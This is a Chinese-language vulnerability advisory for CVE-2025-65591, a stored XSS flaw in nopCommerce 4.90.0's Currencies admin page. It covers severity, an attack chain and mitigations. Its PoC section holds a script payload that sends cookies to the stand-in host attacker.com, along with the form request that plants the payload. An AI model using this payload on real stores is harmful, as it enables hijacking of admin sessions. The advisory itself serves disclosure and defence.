IPBUF安全漏洞报告
English
CVE-2025-65591 CVSS 5.4 中危

CVE-2025-65591: nopCommerce 4.90.0 货币功能存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-65591
漏洞类型
跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
nopCommerce

相关标签

CVE-2025-65591nopCommerce存储型XSS跨站脚本Web应用安全电子商务平台Currencies功能

漏洞概述

CVE-2025-65591是存在于nopCommerce 4.90.0版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞位于系统的货币(Currencies)功能模块中,攻击者可以通过在货币名称或相关字段中注入恶意JavaScript代码。当其他用户访问包含恶意代码的页面时,这些脚本将在受害者浏览器中执行,从而窃取会话令牌、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于该漏洞属于存储型XSS,恶意代码会永久保存在服务器端,所有访问相关页面的用户都可能受到攻击。漏洞的CVSS评分为5.4,属于中等严重程度,攻击复杂度低但需要低权限认证和用户交互。

技术细节

该漏洞是典型的存储型跨站脚本(S Stored XSS)漏洞,存在于nopCommerce 4.90.0的货币管理功能中。攻击者以低权限用户身份登录系统后,访问货币管理页面,在货币名称字段中注入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>。由于系统未对用户输入进行充分的输入验证和输出编码,恶意代码被直接存储到数据库中。当管理员或其他用户查看货币列表或相关报表页面时,浏览器会解析并执行这些恶意脚本。攻击者可以利用此漏洞窃取受害者的会话cookie、进行CSRF攻击、修改页面内容或重定向用户到恶意网站。漏洞的利用需要攻击者具有低权限账户并能访问货币管理功能,同时需要诱导受害者访问包含恶意代码的页面。

攻击链分析

STEP 1
步骤1
攻击者获取nopCommerce系统的低权限账户(如普通管理员或编辑角色)
STEP 2
步骤2
攻击者登录系统后访问货币管理页面(Admin > Configuration > Currencies)
STEP 3
步骤3
攻击者在货币名称字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
系统未进行输入验证和输出编码,将恶意代码存储到数据库中
STEP 5
步骤5
当管理员或其他用户访问货币列表页面时,浏览器解析并执行恶意脚本
STEP 6
步骤6
攻击者通过恶意脚本窃取用户会话cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65591 PoC - Stored XSS in nopCommerce Currencies // Author: Security Researcher // Target: nopCommerce 4.90.0 // Step 1: Login to nopCommerce with low-privilege account // Step 2: Navigate to Administration > Configuration > Currencies // Step 3: Add new currency with malicious name const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Example HTTP Request to create currency with XSS payload const createCurrencyRequest = { method: 'POST', url: '/Admin/Currency/Create', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'NOP.AntiForgery=true; NOP.Session=your_session' }, body: 'Currency.Name=' + encodeURIComponent(maliciousPayload) + '&Currency.CurrencyCode=USD&Currency.Rate=1.0&Currency.IsPrimaryCurrency=true' }; // Step 4: When admin views currency list, XSS payload executes // Steals admin cookies/session tokens console.log('XSS Payload injected in currency name field');

影响范围

nopCommerce 4.90.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制货币管理功能的访问权限,仅允许受信任的管理员访问;2)在Web应用层实施输入验证和输出编码,过滤<、>、'、"等特殊字符;3)启用Content-Security-Policy响应头限制脚本执行;4)监控和审计货币管理页面的访问日志;5)考虑暂时禁用货币创建/编辑功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表